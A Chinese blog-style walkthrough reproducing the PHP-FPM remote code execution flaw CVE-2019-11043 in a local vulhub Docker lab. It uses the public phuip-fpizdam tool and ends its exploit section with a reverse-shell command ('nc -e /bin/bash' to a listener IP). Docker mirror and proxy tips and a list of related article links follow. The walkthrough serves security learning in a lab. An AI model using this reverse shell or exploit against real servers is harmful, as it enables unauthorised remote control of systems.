php 远程代码执行漏洞复现 cve-2019-11043
漏洞描述
CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。
向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。
该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:
location ~ [^/]\.php(/|$) {...fastcgi_split_path_info ^(.+?\.php)(/.*)$;fastcgi_param PATH_INFO $fastcgi_path_info;fastcgi_pass php:9000;...
}
攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info
指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。
影响范围
在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:
- PHP 7.0 版本
- PHP 7.1 版本
- PHP 7.2 版本
- PHP 7.3 版本
漏洞复现
使用 p 牛的 docker 环境进行复现:
PHP-FPM 远程代码执行漏洞(CVE-2019-11043)
准备工作:安装 docker、golang 环境
sudo apt-get install docker docker-compose
sudo apt install golang
搭建漏洞环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043 && docker-compose up -d
启动环境之后,就可以看到漏洞环境的默认页面。在此为 http://127.0.0.1:8080/index.php。
安装漏洞利用工具
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build
漏洞利用
url 中空格不影响命令执行:
p 牛友情提示:您应该注意,只有部分PHP-FPM子进程受到了污染,因此请尝试几次以执行该命令。
反弹 shell:
因为我用的是P牛的环境,里面没有 nc 命令。所以不能用 nc 的反弹 shell。
给此docer容器装一个 nc:
p牛的环境有两个 docker 镜像,一个是nginx,一个是 php:
进入 nginx 的容器:
如图就装好了。
exit
此容器。尝试在url里面 nc 我本地监听的端口:
没有成功。
但是继续观察,可能是镜像不对。因为p牛封装的这个环境有两个 docker,刚刚都是在 nginx docker 镜像里面尝试的:
试试在php镜像里面装nc。毕竟、
换镜像装 nc:
然后 nc 连接成功:
试下反弹 shell:
nc -e /bin/bash 10.x.x.39 7777
反弹 shell 成功!
科学提速
这个环境我下了很久没下下来,我之前一直在国外,对一些换源、换镜像不熟悉。
- 方法一:阿里云容器镜像加速器
URL: https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors
进去之后获取:
然后配置 docker 文件:
注
:上面的是阿里云,下面的是中科院。阿里云的更快,只用阿里云就行了。
然后 restart 一下 docker:
sudo systemctl daemon-reload
sudo systemctl restart docker
然后就可以了!
参考链接:
[1] 镜像中心-镜像加速器
[2] 官方镜像加速 操作手册
重启 docker 之后,速度仿佛换了个 docker,很爽。
- 方法二:系统代理
基于 http 协议的:
需要凭据:
export http_proxy="http://用户名:密码@ip:端口号/"
export https_proxy="http://用户名:密码@ip:端口号/"
无需凭据:
export http_proxy="http://ip:端口号/"
export https_proxy="http://ip:端口号/"
注意:这种命令行运行是临时的,要全局的话加入到 etc/profile
。
基于 socks5 协议:
proxychains
php 远程代码执行漏洞复现 cve-2019-11043相关推荐
- Office 远程代码执行漏洞复现过程
本文来自作者肖志华在 GitChat 上分享 「Office 远程代码执行漏洞复现过程」,「阅读原文」查看交流实录. 编辑 | 天津饭 直接贴本地复现过程,至于怎么利用还请自己思考. 2017年11月 ...
- ThinkPHP 5.0.23 远程代码执行 漏洞复现
ThinkPHP 5.0.23 远程代码执行 漏洞复现 一.漏洞描述 二.漏洞影响 三.漏洞复现 1. 环境搭建 2. 漏洞复现 四.漏洞POC 五.参考链接 六.利用工具 一.漏洞描述 ThinkP ...
- [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御
您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...
- Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御
摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...
- 用友NC BeanShell远程代码执行漏洞复现
用友NC远程代码执行漏洞复现 漏洞介绍 用友NC是面向集团企业的管理软件,其在同类市场占有率中达到亚太第一.该漏洞是由于用友NC对外开放了BeanShell接口,攻击者可以在未授权的情况下直接访问该接 ...
- IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现
CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...
- CVE-2022-21907 Microsoft Windows HTTP 协议栈远程代码执行漏洞复现
目录 0x01 声明: 0x02 简介: 0x03 漏洞概述: 0x04 影响版本: 0x05 环境搭建: 下载: 开启IIS: 0x06 漏洞复现: 利用POC: 0x07 流量分析: 客户端: 0 ...
- cve-2017-12617 tomcat远程代码执行漏洞复现测试
0x00前情提要 Apache Tomcat团队10月3日宣布,如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操 ...
- CNVD-2020-46552 深信服EDR远程代码执行漏洞复现
目录 1.漏洞概述 2.影响版本 3.漏洞等级 4.漏洞复现 5.漏洞修复 1.漏洞概述 终端检测响应平台(EDR)是深信服公司提供的一套终端安全解决方案,方案由轻量级的端点安全软件和管理平台软件共同 ...
最新文章
- java实现微信创建菜单_java实现微信公众平台自定义菜单的创建示例
- aotuwried是java的注解吗_@autowire注入为null
- wetool个人版_个人版wetool -公众号
- POJ 1694 An Old Stone Game ★(排序+树+递归)
- Java集合的框架和实现类
- OC中类别、扩展、协议与托付
- 从甲骨文中国裁员说起
- 根据银行卡号码获取银行卡归属行以及logo图标
- python操作cad的模块_利用python控制Autocad:pyautocad方式
- 关于微信小程序img标签不能显示图片的问题
- 微信小程序加载图片优化
- 网页pdf打印——window.print()
- python代码画玫瑰花
- 英语音标,元音汇总(0基础学英语!必备!)
- Verilog状态机常见三种写法
- Web 身份证读取,ActiveX 网页 二代身份证读取
- java 下载图片流
- 茅台与小米搞饥饿营销?
- ipad2越狱完成!
- 还是觉得WinXP中Luna的Theme是经典啊!用了Royal不多会儿就疲劳了!
热门文章
- Silverlight中使用控件模板的问题(自己添加控件的方法)
- android oppo 权限,OPPO Reno可尝鲜Android Q:教程如下
- php代码审计工具_【学习笔记】PHP代码审计入门:代码审计实例2
- js闭包循环原因_常见的三个 JS 面试题
- OpenStack 虚拟机热迁移流程图
- Linux_SquidProxyServer代理服务器
- laravel oauth2.0 文件上传报错
- 文字如何实现完美UI?文本排版设计告诉你
- 闭锁CountDownLatch和栅栏CyclicBarrier之异同举例
- 01配置管理过程指南